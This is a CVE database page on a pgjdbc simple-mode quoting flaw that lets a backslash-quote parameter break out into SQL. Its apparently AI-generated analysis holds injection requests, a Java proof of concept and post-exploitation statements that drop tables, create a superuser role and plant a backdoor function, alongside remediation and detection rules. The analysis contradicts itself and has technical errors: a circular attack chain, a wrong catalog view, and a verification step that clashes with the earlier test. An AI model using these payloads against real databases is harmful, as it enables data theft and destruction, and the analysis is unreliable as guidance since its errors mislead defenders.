CVE Professor
/
All CVEs
CVE-2026-134842

CVE-2026-134842 — Pgjdbc — CWE-89

HIGH CVSS 8.1 Shodan

pgjdbc, the PostgreSQL JDBC Driver, can quote a string parameter for the wrong value of standard_conforming_strings when preferQueryMode=simple is set. A statement, trigger or configuration reload can turn the setting off during a session. A parameter value with a backslash and a quote then ends the literal, and the rest of the value runs as SQL. Before 42.7.6 any session with the setting off was affected. The statement cache can also reuse a parse made under the other setting. With allowEncodingChanges=true and the EUC_JP or SJIS client encoding, the yen sign acts as a backslash. All versions before 42.7.15 are affected, and 42.7.15 fixes the problem.

pgjdbc, the PostgreSQL JDBC Driver, can quote a string parameter for the wrong value of standard_conforming_strings when preferQueryMode=simple is set. A statement, trigger or configuration reload can turn the setting off during a session. A parameter value with a backslash and a quote then ends the literal, and the rest of the value runs as SQL. Before 42.7.6 any session with the setting off was affected. The statement cache can also reuse a parse made under the other setting. With allowEncodingChanges=true and the EUC_JP or SJIS client encoding, the yen sign acts as a backslash. All versions before 42.7.15 are affected, and 42.7.15 fixes the problem.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity High AC:H
Privileges Req. None PR:N
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality High C:H
Integrity High I:H
Availability High A:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CVE‑2026‑134842 – PostgreSQL JDBC driver (pgjdbc) – “simple” query‑mode string‑quoting bug

AttributeValue
CWECWE‑89 Improper Neutralization of Special Elements used in an SQL Command (SQL Injection)
CVSS 3.1 VectorAV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H (Network‑accessible, High attack complexity, No privileges, No user interaction, Unchanged scope, Complete confidentiality, integrity and availability impact)

| Root cause | The driver builds the literal representation of a String bind‑parameter by quoting it according to the value of the server parameter standard_conforming_strings only when the connection property preferQueryMode=simple is in effect.

In simple* mode the driver sends the whole statement to PostgreSQL as a single text string, performing client‑side quoting.

  • When standard_conforming_strings is off, backslashes are treated as escape characters inside string literals. The driver, however, assumes the setting is on and therefore does not escape backslashes.

  • If the session’s standard_conforming_strings value is toggled mid‑session (e.g., by executing SET standard_conforming_strings = off; or by a trigger that changes it), the driver continues to quote using the “on” rules while the server interprets backslashes as escapes.

  • A crafted parameter that contains a backslash followed by a single‑quote (\ ') therefore closes the literal early and the remainder of the attacker‑controlled value is parsed as raw SQL.
  • Additional nuance: when the driver is started with allowEncodingChanges=true and the client encoding is EUC_JP or SJIS, the Yen sign (¥, U+00A5) is interpreted by the PostgreSQL server as a backslash. This widens the attack surface to non‑ASCII payloads.

    The bug also propagates through the statement cache: a prepared statement parsed while standard_conforming_strings was on can be cached and later reused after the setting has been turned off, causing the same injection to occur without the attacker needing to issue a new SET command.

    In short, the driver fails to keep its quoting logic in sync with the server’s standard_conforming_strings setting, leading to a blind SQL injection that can be triggered without authentication and without any user interaction.


    ⚡ Attack Chain

    Below is a realistic, step‑by‑step exploitation flow that an attacker could follow against a vulnerable Java application that uses pgjdbc 42.7.14 (or any earlier 42.7.x) with preferQueryMode=simple (the default for legacy code) and does not enforce standard_conforming_strings = on at the database level.

    1. Discovery & Reconnaissance

    GoalTechniqueExpected artefacts
    Identify the backend database driver and version• Intercept HTTP traffic (Burp Suite, Wireshark) and look for the JDBC URL in error pages, stack traces, or User‑Agent strings generated by the application (e.g., pgjdbc/42.7.14). <br>• Query the application’s /actuator/info (Spring Boot) or similar health endpoints that may expose the driver version.jdbc:postgresql://db.example.com:5432/appdb?preferQueryMode=simple <br>Driver version string 42.7.14 in logs or exception messages.
    Verify that standard_conforming_strings can be toggled• Use any SQL‑execution endpoint (e.g., a vulnerable search filter that concatenates user input into a query) to run SHOW standard_conforming_strings; and SET standard_conforming_strings = off;.Response shows on initially, then off after the SET.
    Confirm that the driver is using *simple* mode• Look for the presence of the connection property preferQueryMode=simple in the JDBC URL or in the application’s configuration files (application.properties, datasource.yml).preferQueryMode=simple in the URL or config.

    If the above checks succeed, the target is vulnerable.

    2. Exploitation

    Important: The exact HTTP endpoint that forwards a string to the database is application‑specific. The payload below is illustrative; replace /search and the q parameter with the real injection point.

    2.1 Turn standard_conforming_strings off (if not already)

    POST /search HTTP/1.1
    Host: vulnerable.example.com
    Content-Type: application/x-www-form-urlencoded
    
    q='); SET standard_conforming_strings = off; SELECT 'a

    Explanation:

  • The injected payload terminates the original literal (')), executes a SET to flip the setting, then re‑opens a harmless literal (SELECT 'a).

  • Because the driver is in simple* mode, the whole string is sent as‑is to PostgreSQL, and the SET succeeds.

    2.2 Inject a malicious value that contains a backslash‑quote sequence

    Assume there is a legitimate endpoint that inserts a comment into a table:

    INSERT INTO comments (author, body) VALUES (?, ?)

    When the driver is in simple mode it will build the final SQL string itself. An attacker supplies the body parameter:

    \'); DROP TABLE users; --

    The driver, believing standard_conforming_strings = on, will not escape the backslash. PostgreSQL, now operating with standard_conforming_strings = off, interprets \ as an escape character, so the literal ends at the following '. The rest of the payload is parsed as SQL:

    INSERT INTO comments (author, body) VALUES ('attacker', '' ); DROP TABLE users; --')

    Result: users table is dropped (or any other attacker‑chosen statement).

    2.3 Full PoC (illustrative Java code)

    // vulnerable code snippet (simplified)
    String sql = "INSERT INTO comments (author, body) VALUES (?, ?)";
    PreparedStatement ps = conn.prepareStatement(sql); // driver will use simple mode
    ps.setString(1, "attacker");
    ps.setString(2, "\\'); DROP TABLE users; --");
    ps.executeUpdate();

    When the connection was created with:

    String url = "jdbc:postgresql://db.example.com/appdb?preferQueryMode=simple";
    Connection conn = DriverManager.getConnection(url, "app", "pwd");

    the above call results in the injection.

    2.4 Exploiting the statement‑cache reuse

    If the application caches the prepared statement before the SET standard_conforming_strings = off; (e.g., via a connection pool that prepares the statement at startup), the attacker can later trigger the cached statement after flipping the setting, achieving the same injection without needing to issue a new SET. This is especially relevant for frameworks that keep a global prepared‑statement cache.

    3. Post‑exploitation

    Desired impactTypical attacker actions
    Confidentiality – dump tablesUse the same injection vector to run SELECT * FROM secret_table; and return the result via the application’s response (e.g., JSON API).
    Integrity – modify or delete dataAs shown, execute UPDATE accounts SET balance = 0; or DELETE FROM audit_log;.
    Availability – destroy objectsDROP DATABASE appdb; or TRUNCATE TABLE critical;.
    Privilege escalation – create a superuserCREATE ROLE attacker SUPERUSER LOGIN PASSWORD 'P@ssw0rd';. If the database superuser can connect remotely, the attacker now has full control over the PostgreSQL instance.
    Persistence – install a malicious functionCREATE OR REPLACE FUNCTION backdoor() RETURNS void LANGUAGE plpgsql AS $$ BEGIN ... $$; and later invoke it via any low‑privileged query.

    Because the vulnerability is network‑accessible, requires no authentication, and does not need user interaction, an attacker can automate the entire chain from a remote host, achieving full compromise of the database.


    🌍 Real‑World Impact

    CIA TriadCVSS‑derived impactPractical consequences
    Confidentiality (C:H)Complete data exposure. An attacker can read any table, including PII, credentials, or encryption keys.
    Integrity (I:H)Arbitrary data manipulation, creation of rogue accounts, tampering with audit logs, or planting backdoors.
    Availability (A:H)Ability to drop tables, truncate data, or shut down the entire database, causing service outage.
    Scope (U)The impact is confined to the vulnerable PostgreSQL instance; however, many applications rely on that DB, so the business impact is often critical.
    Attack Complexity (AC:H)The attacker must first flip standard_conforming_strings (or rely on a trigger that does it). This extra step raises the complexity but is trivial in most Java‑based back‑ends that allow arbitrary SQL execution (e.g., search filters, logging).
    Privileges Required (PR:N)None – the driver sends the query as the application’s DB user, which is typically a privileged service account.
    Network (AV:N)Exploitable over the network; no local access required.
    User Interaction (UI:N)No user interaction needed.

    Bottom line: A successful exploit can lead to a complete takeover of the database and, by extension, the entire application stack that depends on it.


    🛡️ Remediation & Mitigation

    1. Patch / Upgrade

    Affected versionsFixed in
    pgjdbc < 42.7.15 (including 42.7.14, 42.7.13, …)42.7.15 – the driver now always queries the server for the current standard_conforming_strings value *before* quoting, and it disables the *simple* quoting path when the setting is off.

    Action: Upgrade the PostgreSQL JDBC driver to 42.7.15 or later as soon as possible. Verify the version at runtime (org.postgresql.Driver.getVersion()).

    2. Immediate Work‑arounds (if patch cannot be applied instantly)

    Work‑aroundHow to applyEffectiveness
    Force standard_conforming_strings = on at the database levelAdd standard_conforming_strings = on to postgresql.conf and reload (SELECT pg_reload_conf();).Eliminates the backslash‑escape path; the driver’s quoting becomes safe even in *simple* mode.
    Disable preferQueryMode=simpleChange the JDBC URL to preferQueryMode=extended (or omit the property, as *extended* is the default in recent drivers). Example: jdbc:postgresql://db:5432/appdb?preferQueryMode=extended.The driver will use the PostgreSQL extended‑query protocol, which sends bind parameters separately, removing the need for client‑side quoting.
    Turn off statement cache for the affected connectionIn connection‑pool libraries (HikariCP, Apache DBCP) set cachePrepStmts=false or clear the cache after any SET standard_conforming_strings = off;.Prevents reuse of a statement parsed under the wrong setting.
    Disable allowEncodingChangesRemove allowEncodingChanges=true from the JDBC URL or set it to false.Stops the Yen‑sign‑as‑backslash edge case for EUC_JP / SJIS encodings.
    Restrict client encoding to UTF‑8Ensure client_encoding = UTF8 in postgresql.conf or via SET client_encoding = 'UTF8';.Removes the multi‑byte backslash equivalence.
    Network segmentationPlace the database behind a firewall and allow connections only from trusted application servers.Reduces exposure but does not fix the underlying injection.

    Note: The most reliable mitigation is to upgrade the driver and use the extended query protocol. The other steps are defensive layers that can be applied temporarily.

    3. Detection

    IndicatorWhere to lookExample log entry
    SQL errors mentioning “standard_conforming_strings”PostgreSQL server log (log_line_prefix should include %p %u %d %a)2026-11-23 12:34:56.789 UTC [12345] LOG: statement: SET standard_conforming_strings = off;
    Unexpected SET commands from the application userAudit logs (pg_audit or log_statement = 'all')SET standard_conforming_strings = off; issued by role app_user
    Parse errors with “unterminated quoted string”PostgreSQL logERROR: syntax error at or near "'; DROP"
    Repeated use of the same prepared‑statement name after a SETPostgreSQL pg_prepared_xacts view or log_statement = 'all'PREPARE S_1 AS INSERT INTO comments (author, body) VALUES ($1, $2); followed by SET standard_conforming_strings = off; and then EXECUTE S_1('attacker', '\\'); DROP TABLE users; --');
    Application logs showing backslash‑quote payloadsJava application logs (e.g., Spring DEBUG level)Binding parameter 2: \'); DROP TABLE users; --
    Anomalous data exfiltrationNetwork IDS/IPS (e.g., Suricata) – look for large SELECT responses from the DB to unknown IPs.alert http any any -> any 5432 (msg:"Potential SQLi via pgjdbc simple mode"; content:"DROP TABLE"; sid:xxxx; rev:1;)

    Deploy a SIEM rule that correlates a SET standard_conforming_strings = off followed within a short window (≤ 5 s) by a statement containing a backslash‑quote (\ followed by ') from the same client IP.

    4. Verification after remediation

    1. Confirm driver version: System.out.println(org.postgresql.Driver.getVersion()); → 42.7.15 or newer.
    2. Test quoting: Run a simple Java snippet that inserts a string containing \ '. The statement should succeed without error and the literal should be stored exactly as‑entered.
    3. Check server setting: SHOW standard_conforming_strings; → on.
    4. Run a negative test: Attempt the PoC injection; it must now raise a ERROR: syntax error at or near "\" (the backslash is escaped) rather than executing the injected command.


    ⚠️ Urgency

  • CVSS 8.1 (High) – complete confidentiality, integrity, and availability impact.
  • Network‑reachable, no authentication required – an external attacker can exploit it directly.
  • No CISA KEV listing (yet) – the vulnerability is still “under the radar,” meaning many organizations are unaware.
  • Exploit complexity is moderate (requires flipping a session variable), but most Java applications already allow arbitrary SQL execution (e.g., search filters, logging) making the extra step trivial.
Patch priority: Critical. If the environment hosts sensitive data (PII, financial records, credentials) or the DB service is internet‑facing, the patch should be applied immediately (within 24 h).* *If a rapid upgrade is impossible, apply the preferQueryMode=extended workaround together with a forced standard_conforming_strings = on and disable statement caching, then schedule the driver upgrade within the next maintenance window.
Bottom line: The flaw is a classic client‑side quoting bug triggered by a server‑side configuration change. Upgrading to pgjdbc 42.7.15 (or later) and switching to the extended query protocol eliminates the injection vector entirely. Until then, enforce standard_conforming_strings = on, disable preferQueryMode=simple, and monitor for the log patterns described above.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="pgjdbc pgjdbc"
PoC & Exploit Intelligence (GitHub)
Technical reference / advisory repository for CVE-2026-134842
CVSS Score
8.1 / 10 · CVSS HIGH
Weakness Types (CWE)
Affected Products (1)
pgjdbc:pgjdbc
References & Advisories (2)
Related CVEs
9.9
CVE-2026-45262
FacturaScripts is an open source accounting and invoicing software. Prior to version 2026.2, Core/Where.php::s
9.8
CVE-2026-145040
WWBN AVideo before 29.9.0 contains a blind sql injection vulnerability that allows unauthenticated attackers t
9.3
CVE-2026-136358
Joomla Extension - joomboost.com - Unauthenticated SQL injection in JoomMedia extension 1.0.0-6.1.5 - The list
9.3
CVE-2026-136369
Joomla Extension - joomboost.com - Unauthenticated SQL injection in JoomInvoice extension 1.0.0-6.5.2 - Inputs
9.3
CVE-2026-136376
Joomla Extension - joomboost.com - SQL injection in search time filters in JoomRecipe extension 1.0.0-6.9.8 -
9.3
CVE-2026-77432
activity_notification provides integrated user activity notifications for Ruby on Rails. Prior to version 2.7.
9.2
CVE-2026-145153
LangChain4j before 1.5.4-beta11, 1.11.12-beta19, 1.19.4-beta29, and 1.23.0-beta33 contains an injection vulner